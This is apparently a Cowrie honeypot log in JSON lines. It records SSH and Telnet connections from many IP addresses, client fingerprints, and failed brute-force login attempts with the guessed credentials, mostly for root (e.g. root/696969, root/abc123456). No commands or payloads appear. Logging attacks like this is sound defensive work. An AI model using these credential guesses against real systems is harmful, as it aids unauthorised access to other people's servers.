{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:24.535085Z","src_ip":"103.75.182.198","session":"3e1fc846b9eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:24.772418Z","src_ip":"103.75.182.198","session":"3e1fc846b9eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"696969","message":"login attempt [root/696969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:25.485988Z","src_ip":"103.75.182.198","session":"3e1fc846b9eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:26.725447Z","src_ip":"103.75.182.198","session":"3e1fc846b9eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33996,"dst_ip":"10.17.0.5","dst_port":23,"session":"c44d8be1603e","protocol":"telnet","message":"New connection: 152.42.224.71:33996 (10.17.0.5:23) [session: c44d8be1603e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:30.093301Z"}
{"eventid":"cowrie.session.closed","duration":45.50295567512512,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:39.652710Z","src_ip":"152.42.224.71","session":"5d8713149428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":32888,"dst_ip":"10.17.0.5","dst_port":22,"session":"b71837425228","protocol":"ssh","message":"New connection: 43.135.177.217:32888 (10.17.0.5:22) [session: b71837425228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:46.852535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:46.861334Z","src_ip":"43.135.177.217","session":"b71837425228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:46.930091Z","src_ip":"43.135.177.217","session":"b71837425228","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"locust","message":"login attempt [root/locust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:47.234530Z","src_ip":"43.135.177.217","session":"b71837425228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:48.305668Z","src_ip":"43.135.177.217","session":"b71837425228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33000,"dst_ip":"10.17.0.5","dst_port":23,"session":"d63cd86bbc86","protocol":"telnet","message":"New connection: 152.42.224.71:33000 (10.17.0.5:23) [session: d63cd86bbc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:50.640501Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33002,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebcdd78004a6","protocol":"telnet","message":"New connection: 152.42.224.71:33002 (10.17.0.5:23) [session: ebcdd78004a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:35:54.514658Z"}
{"eventid":"cowrie.session.closed","duration":50.739277839660645,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:20.832448Z","src_ip":"152.42.224.71","session":"c44d8be1603e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.492780447006226,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:27.133147Z","src_ip":"152.42.224.71","session":"d63cd86bbc86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":45390,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a0d7beda731","protocol":"ssh","message":"New connection: 103.122.221.179:45390 (159.203.135.109:22) [session: 2a0d7beda731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:43.933544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:43.938936Z","src_ip":"103.122.221.179","session":"2a0d7beda731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:44.195714Z","src_ip":"103.122.221.179","session":"2a0d7beda731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1992","message":"login attempt [root/1992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:44.965960Z","src_ip":"103.122.221.179","session":"2a0d7beda731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:46.225404Z","src_ip":"103.122.221.179","session":"2a0d7beda731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.59.215.110","src_port":44408,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee97bed2a5f0","protocol":"telnet","message":"New connection: 200.59.215.110:44408 (159.203.135.109:23) [session: ee97bed2a5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:46.571192Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.68.133.1","src_port":41664,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b83a0c67193","protocol":"telnet","message":"New connection: 5.68.133.1:41664 (159.203.135.109:23) [session: 8b83a0c67193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:48.195673Z"}
{"eventid":"cowrie.session.closed","duration":13.407479286193848,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:36:59.978550Z","src_ip":"200.59.215.110","session":"ee97bed2a5f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":34476,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f5a6c9d644","protocol":"ssh","message":"New connection: 103.27.238.114:34476 (10.17.0.5:22) [session: f2f5a6c9d644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:15.331571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:15.337242Z","src_ip":"103.27.238.114","session":"f2f5a6c9d644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:15.617146Z","src_ip":"103.27.238.114","session":"f2f5a6c9d644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivanova","message":"login attempt [root/ivanova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:16.456532Z","src_ip":"103.27.238.114","session":"f2f5a6c9d644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:17.744712Z","src_ip":"103.27.238.114","session":"f2f5a6c9d644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":37948,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7bef878ee59","protocol":"telnet","message":"New connection: 213.108.3.46:37948 (159.203.135.109:23) [session: f7bef878ee59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:20.681452Z"}
{"eventid":"cowrie.session.closed","duration":0.018196582794189453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:20.699552Z","src_ip":"213.108.3.46","session":"f7bef878ee59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41804,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a3d797066f5","protocol":"ssh","message":"New connection: 194.113.233.25:41804 (159.203.135.109:22) [session: 2a3d797066f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:35.759452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:35.764514Z","src_ip":"194.113.233.25","session":"2a3d797066f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:35.858344Z","src_ip":"194.113.233.25","session":"2a3d797066f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:36.144929Z","src_ip":"194.113.233.25","session":"2a3d797066f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:37.250692Z","src_ip":"194.113.233.25","session":"2a3d797066f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":54234,"dst_ip":"10.17.0.5","dst_port":22,"session":"933c14894353","protocol":"ssh","message":"New connection: 43.153.70.247:54234 (10.17.0.5:22) [session: 933c14894353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:50.640402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:50.645578Z","src_ip":"43.153.70.247","session":"933c14894353","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:50.717520Z","src_ip":"43.153.70.247","session":"933c14894353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maustin","message":"login attempt [root/maustin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:51.023458Z","src_ip":"43.153.70.247","session":"933c14894353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:52.096087Z","src_ip":"43.153.70.247","session":"933c14894353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00412583351135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:37:54.518640Z","src_ip":"152.42.224.71","session":"ebcdd78004a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52912,"dst_ip":"10.17.0.5","dst_port":23,"session":"214dbe7f0875","protocol":"telnet","message":"New connection: 152.42.224.71:52912 (10.17.0.5:23) [session: 214dbe7f0875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:03.063711Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34978,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1eb1b8ca0c1","protocol":"telnet","message":"New connection: 152.42.224.71:34978 (10.17.0.5:23) [session: c1eb1b8ca0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:07.038705Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":33240,"dst_ip":"159.203.135.109","dst_port":22,"session":"63923df25aec","protocol":"ssh","message":"New connection: 43.173.84.253:33240 (159.203.135.109:22) [session: 63923df25aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:17.235548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:17.240967Z","src_ip":"43.173.84.253","session":"63923df25aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:17.309522Z","src_ip":"43.173.84.253","session":"63923df25aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popo","password":"popo","message":"login attempt [popo/popo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:17.618432Z","src_ip":"43.173.84.253","session":"63923df25aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:18.691661Z","src_ip":"43.173.84.253","session":"63923df25aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66378664970398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:33.727359Z","src_ip":"152.42.224.71","session":"214dbe7f0875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":46748,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e4b04048c02","protocol":"ssh","message":"New connection: 103.183.114.55:46748 (10.17.0.5:22) [session: 8e4b04048c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:38:34.939156Z"}
